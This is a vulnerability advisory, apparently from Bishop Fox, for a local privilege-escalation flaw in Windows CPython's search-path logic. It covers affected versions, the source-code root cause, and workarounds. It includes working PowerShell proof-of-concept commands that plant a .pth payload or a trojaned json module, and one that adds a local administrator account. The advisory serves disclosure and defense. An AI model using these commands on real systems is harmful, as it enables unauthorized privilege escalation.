The following document describes identified vulnerabilities in Python versions 3.11.0a3 to 3.15.0b2.
Product Vendor
Python Software Foundation
Product Description
CPython is the reference implementation of the Python programming language. It is the Python interpreter most commonly installed on Linux, macOS, and Windows. Compiled releases of CPython are the software publicly released as “Python” by the Python Software Foundation on the project’s official website at python.org. Because releases of CPython are typically referred to as “Python”, Bishop Fox has used “Python” in this report except when referring to source code repositories; referring to the software as “Python” prevents confusion regarding the scope of the issue for readers unfamiliar with the “CPython” name. To our knowledge, the vulnerability does not affect other implementations of the Python programming language (such as PyPy) and it is not a flaw in the high-level Python programming language itself.
When this report was published, the latest release version of Python was 3.14.7 , which was made available on August 5, 2026. The latest pre-release version of Python was 3.15.0rc1, which was made available on August 4, 2026.
Vulnerabilities List
One vulnerability was identified in Python:
- Insecure Input Validation
The vulnerability is described in the remainder of this report.
Affected Versions
The vulnerability described in this report affects releases within five minor versions of Python.
The root cause of the vulnerability was logic in the CPython source code. However, only Windows releases of Python were affected by the vulnerability for reasons discussed in more detail later in this report.
While the vulnerability had been disclosed publicly by the Python Software Foundation when this report was published, the availability of a patched version of Python depended on the specific minor version:
- Python 3.11
- Versions beginning with 3.11.0a3
- GitHub pull request GH-151568 includes a fix for this vulnerability, but the pull request had not been merged when this report was published
- Because the pull request had not been merged into a specific release when this report was published, Bishop Fox could not include an upper bound on affected release versions for Python 3.11
- Python 3.12
- Versions beginning with 3.12.0
- GitHub pull request GH-151567 includes a fix for this vulnerability, and the pull request was merged into Python version 3.12.14, but version 3.12.14 had not been issued as an official release when this report was published. Additionally, Python 3.12.14 will be a source-only release.
- Because the pull request had not been merged into a specific release when this report was published, Bishop Fox could not include an upper bound on affected release versions for Python 3.12
- Python 3.13
- Versions 3.13.0 to 3.13.14
- 3.13.15 includes a fix for this vulnerability and is available for download from the python.org website at the time this report was published.
- Python 3.14
- Versions 3.14.0 to 3.14.6
- 3.14.7 includes a fix for this vulnerability and is available for download from the python.org website at the time this report was published.
- Python 3.15
- Versions 3.15.0 to 3.15.0b2
- 3.15.0b3 and later include a fix for this vulnerability and were available for download from the python.org website as pre-release versions of Python 3.15 at the time this report was published
- When this report was published, no release versions of Python 3.15 were available – 3.14 was the most up-to-date minor version of Python with a release version available
Summary of Findings
Bishop Fox staff determined that Python could be coerced into executing Python code in files outside of the Python installation directory by creating a file that was also outside of the Python installation directory. When affected Windows releases of Python were installed for all users using the default installation path, a non-privileged user could escalate their privileges by creating the necessary files and then waiting for a privileged user or service account to execute the affected Python interpreter.
The following conditions were required for exploitation:
- The operating system was Windows – non-Windows versions of Python did not contain the affected code
- Low-privilege user accounts were allowed to create directories two directories higher in the path structure than the Python installation directory
- At least one user or service account with elevated privileges could be expected to launch the Python interpreter some time after the low-privilege user created the necessary files
Impact
Low-privilege users on systems where a second user or service account executes an affected version of Python can execute arbitrary code in the second account's context. This includes cases where self-service software management solutions, such as SCCM Software Center, allow low-privilege users to trigger the installation of Python by an account with elevated permissions to an installation directory that meets the criteria described in the summary above.
Solution
Discontinue use of shared / system-wide installation locations for Python. Use per-user installations managed by the Python install manager or other user-level Python managers. If not possible, migrate to a version of Python that contains the published patches.
Timeline
- 04/03/2026: Initial discovery
- 07/11/2026: Contact with vendor
- 07/11/2026: Vendor acknowledged vulnerabilities
- 07/16/2026: Vulnerabilities publicly disclosed, remediated source code published
Credits
- Jake Yamaki, Senior Consultant, Bishop Fox ([email protected])
Python Version 3.11.0a3 to 3.15.0b2 — Vulnerabilities
Insecure Input Validation
Bishop Fox staff determined that Python versions 3.11.0a3 through at least 3.15.0a7 could be coerced to execute Python code in files outside of the Python installation directory by creating a file that was also outside of the Python installation directory. When Python was installed for all users using the default installation path, a non-privileged user could escalate their privileges by creating the necessary files and then waiting for a privileged user or service account to execute the affected Python interpreter.
The following conditions were required for exploitation:
- The operating system was Windows – non-Windows versions of Python did not contain the affected code
- Low-privilege user accounts were allowed to create directories two directories higher in the path structure than the Python installation directory
- At least one user or service account with elevated privileges could be expected to launch the Python interpreter some time after the low-privilege user created the necessary files
Vulnerability Details
CVE ID: CVE-2026-12003
Vulnerability Type: Uncontrolled Search Path Element
Access Vector: ☐ Remote, ☒ Local, ☐ Physical, ☐ Context dependent, ☐ Other (if other, please specify)
Impact: ☒ Code execution, ☐ Denial of service, ☒ Escalation of privileges, ☐ Information disclosure, ☐ Other (if other, please specify)
Security Risk: ☐ Critical, ☒ High, ☐ Medium, ☐ Low
Vulnerability: CWE-427
At the time this document was written, a typical Windows installation of Python would be vulnerable if it had been installed for all users. The official Python installation packages for Windows used C:\Program Files\Python<VERSION> (for example, C:\Program Files\Python314) as the default installation path when the “Install Python for all users” option was specified or if the installer was executed with the options InstallAllUsers=1 /quiet. The default configuration of Windows allowed all users to create folders in the root of the C: drive, which was two directories higher in the directory structure.
Bishop Fox staff developed the following PowerShell commands that can be executed by a low-privilege user to hijack future execution of affected Python installations. This basic proof-of-concept causes the whoami and net user commands to be executed in the context of any user or service account that launches the Python interpreter:
$pythonDir = python -c "import os,sys; print(os.path.dirname(sys.executable))"
robocopy /E "$pythonDir\Lib" "$pythonDir\..\..\Lib"
robocopy /E "$pythonDir\DLLs" "$pythonDir\..\..\Lib"
mkdir "$pythonDir\..\..\Lib\site-packages"
"import subprocess; print(subprocess.check_output(['cmd.exe', '/c', 'whoami', '&&', 'net', 'user']) .decode('utf-8'))" > "$pythonDir\..\..\Lib\site-packages\bishopfox.pth"
mkdir "$pythonDir\..\..\Modules"
"" > "$pythonDir\..\..\Modules\Setup.local"
Figure 1 - Proof-of-concept exploit commands
Note that for the .pth file payload shown above, the Python code must be specified using the semicolon-delimited format above – using newline characters will prevent the code from executing.
When an administrative user launched the Python interpreter, it executed the .pth file and displayed the user account name and a list of all local users on the system, as shown below:
PS C:\> python azuread\[REDACTED] User accounts for \\[REDACTED] …omitted for brevity… Administrator …omitted for brevity… Guest …omitted for brevity… The command completed successfully. …omitted for brevity…
Figure 2 - Execution of proof-of-concept exploit code
A real-world adversary could instead use a command that launched an elevated PowerShell process to create a new local user account named BishopFox with the password d3fend-FORWARD and add it to the local Administrators group. :
"import subprocess; print(subprocess.check_output(['powershell.exe', '-command', `"Start-Process -Verb RunAs cmd.exe -Args /C, net, user, BishopFox, d3fend-FORWARD, /ADD, '&&', net, localgroup, Administrators, BishopFox, /ADD`"]) .decode('utf-8'))" > "$pythonDir\..\..\Lib\site-packages\bishopfox.pth"
Figure 3 – Exploit code to create a new local administrator account
The example shown above uses the PowerShell Start-Process command’s -Verb RunAs option to explicitly launch the subprocess with elevated permissions. If an attacker assumed that the Python interpreter had been launched with elevated permissions, the command could potentially be simplified.
Alternatively, instead of placing exploit code in a .pth file, a non-privileged user could modify one of the Python source code files in the replicated directory structure. For example, the following command would add the proof-of-concept command-execution payload to the json module:
@"
print('Bishop Fox')
import subprocess
print(subprocess.check_output(['cmd.exe', '/c', 'whoami', '&&', 'net', 'user']).decode('utf-8'))
"@ > "$pythonDir\..\..\Lib\json\__init__.py"
Figure 4 – Alternative exploit command
The code would then be triggered by any process that imported the json module, as shown below:
PS C:\> python Python 3.12.10 (tags/v3.12.10:0cc8128, Apr 8 2025, 12:21:36) [MSC v.1943 64 bit (AMD64)] on win32 Type "help", "copyright", "credits" or "license" for more information. >>> import json Bishop Fox azuread\[REDACTED] User accounts for \\[REDACTED] …omitted for brevity… Administrator …omitted for brevity… BishopFox …omitted for brevity… The command completed successfully.
Figure 5 – Code execution triggered by module import
Bishop Fox staff determined that official Python installer releases for Windows were themselves vulnerable to this issue. A real-world attacker in a corporate environment where a low-privilege user could trigger the installation of Python by a privileged user or service account, such as through SCCM Software Center or a help desk ticket, could therefore exploit the vulnerability by creating the malicious C:\Lib directory, then waiting for Python to be installed or upgraded by the privileged account. The Python installer called the newly-installed Python interpreter when the options to install the pip utility or precompile the standard library were enabled, both of which were default options in installation packages when this report was published.
Third-party Windows software created by packaging the Python interpreter could also be vulnerable depending on the path where the third-party software placed its copy of the interpreter.
Bishop Fox staff determined that this vulnerability was introduced in version 3.11.0a3 by the CPython commit with ID 99fcf1505218464c489d419d4500f126b6d6dc28 in December, 2021.
The core vulnerability was due to Windows versions of Python referencing a path-traversal string during the build process and incorporating it into code that the interpreter used at runtime. Except where mentioned, the file paths, file contents, and line numbers in this section are based on https://github.com/python/cpython, commit ID 323c59a5e348347be2ce2b7ea55fcb30bf68b2d3 (tags/v3.14.3).
First, the PyVPath msbuild value was defined at compile time on line 64 of the source code file PCbuild/python.props:
<PyVPath Condition="$(Configuration) != 'PGInstrument'">..\\..</PyVPath>
Figure 6 – Definition of PyVPath value
A preprocessor variable named VPATH was set to the PyVPath value on line 126 of the source code file PCbuild/pythoncore.vcxproj:
VPATH="$(PyVPath)";
Figure 7 – Use of PyVPath value to set VPATH value
In earlier versions of Python, the VPATH preprocessor variable was instead set to a hardcoded version of the ..\\.. string. For example, consider line 118 of the source code file PCbuild/pythoncore.vcxproj for commit ID 99fcf1505218464c489d419d4500f126b6d6dc28:
VPATH="..\\..";
Figure 8 – Hardcoded VPATH value definition
For Windows builds of Python, a system variable named _vpath was set to the VPATH preprocessor variable value on lines 4040 through 4045 of the source code file Python/sysmodule.c, as shown below:
#if defined(MS_WINDOWS)
…omitted for brevity…
SET_SYS_FROM_STRING("_vpath", VPATH);
#endif
Figure 9 – Use of VPATH value to set _vpath Python system variable
The _vpath variable’s value could be experimentally determined for a given Python interpreter by running the command python -c "import sys; print(sys._vpath)".
The sysconfig module then created a configuration variable named VPATH using the _vpath system variable on lines 553 to 555 of the source code file Lib/sysconfig/__init__.py, as shown below:
if os_name == 'nt':
_init_non_posix(_CONFIG_VARS)
_CONFIG_VARS['VPATH'] = sys._vpath
Figure 10 – Use of _vpath system variable to set VPATH configuration variable
The getpath module then used the VPATH configuration variable to construct the BUILD_LANDMARK file path on lines 191 to 193 of the source code file Modules/getpath.py:
# VPATH -- [in] sysconfig.get_config_var(...)
…omitted for brevity…
elif os_name == 'nt':
BUILDDIR_TXT = 'pybuilddir.txt'
BUILD_LANDMARK = f'{VPATH}\\Modules\\Setup.local'
Figure 11 – BUILD_LANDMARK path created using VPATH configuration variable
The getpath module also used the VPATH configuration variable. Under certain conditions, the BUILD_LANDMARK path to set the build_prefix variable, on lines 500 to 516 of the source code file Modules/getpath.py, as shown below:
if ((not home_was_set and real_executable_dir and not py_setpath)
or config.get('_is_python_build', 0) > 0):
# Detect a build marker and use it to infer prefix, exec_prefix,
# stdlib_dir and the platstdlib_dir directories.
try:
platstdlib_dir = joinpath(
real_executable_dir,
readlines(joinpath(real_executable_dir, BUILDDIR_TXT))[0],
)
build_prefix = joinpath(real_executable_dir, VPATH)
except IndexError:
# File exists but is empty
platstdlib_dir = real_executable_dir
build_prefix = joinpath(real_executable_dir, VPATH)
except (FileNotFoundError, PermissionError):
if isfile(joinpath(real_executable_dir, BUILD_LANDMARK)):
build_prefix = joinpath(real_executable_dir, VPATH)
Figure 12 – build_prefix variable set using VPATH configuration variable
Specifically, if the BUILDDIR_TXT file (pybuilddir.txt) did not exist, the code in the second except clause would check for the presence of the BUILD_LANDMARK file (..\..\Modules\Setup.local, for affected Windows versions of Python). When Python was installed for all users using the default location, the full path string would be C:\Program Files\Python<VERSION>\..\..\Modules\Setup.local, which would resolve to C:\Modules\Setup.local.
If the BUILD_LANDMARK file existed, then the code set the build_prefix variable to the path of the directory containing the Python interpreter concatenated with the VPATH configuration variable. When Python was installed for all users using the default location, the full path string would be C:\Program Files\Python<VERSION>\..\.., which would resolve to C:\.
While build_prefix could instead be set by triggering one of the alternate paths by creating a file named pybuilddir.txt in the Python installation directory, that scenario would not generally represent a privilege escalation opportunity, because in most cases a user with the ability to create files in the installation directory could make malicious modifications to the Python installation directly.
If the build_prefix variable was set, and the operating system was Windows, the getpath module then set the standard library directory path to a subdirectory of the build_prefix variable named Lib on lines 523 to 532 of the source code file Modules/getpath.py, as shown below:
if build_prefix:
if os_name == 'nt':
# QUIRK: No searching for more landmarks on Windows
build_stdlib_prefix = build_prefix
…omitted for brevity…
if not stdlib_dir_was_set_in_config:
if build_stdlib_prefix:
stdlib_dir = joinpath(build_stdlib_prefix, 'Lib')
Figure 13 – Standard library path set using VPATH-derived value
If the operating system was Windows, the getpath module then added the standard library directory path to the Python path on lines 748 to 753 of the source code file Modules/getpath.py, as shown below:
if os_name == 'nt':
# QUIRK: Windows generates paths differently
if platstdlib_dir:
pythonpath.append(platstdlib_dir)
if stdlib_dir:
pythonpath.append(stdlib_dir)
Figure 14 –Standard library path added to Python path
Bishop Fox staff identified two workarounds that can be used to mitigate this vulnerability in affected versions of Python, though both may materially change the behavior of the Python interpreter outside of path construction.
First, users could create a ._pth file in the same directory as the python.exe executable, which will cause Python path construction to be based on the contents of that file, due to the code on lines 789 to 806 of the source code file Modules/getpath.py. Official Windows releases of embedded Python use ._pth files, and were therefore not vulnerable.
Second, users can define a PYTHONHOME environment variable, which will cause the getpath module to unset the stdlib_dir variable due to the code on lines 560 to 568 of the source code file Modules/getpath.py.
Subscribe to our blog
Be first to learn about latest tools, advisories, and findings.
Thank You! You have been subscribed.
Recommended Posts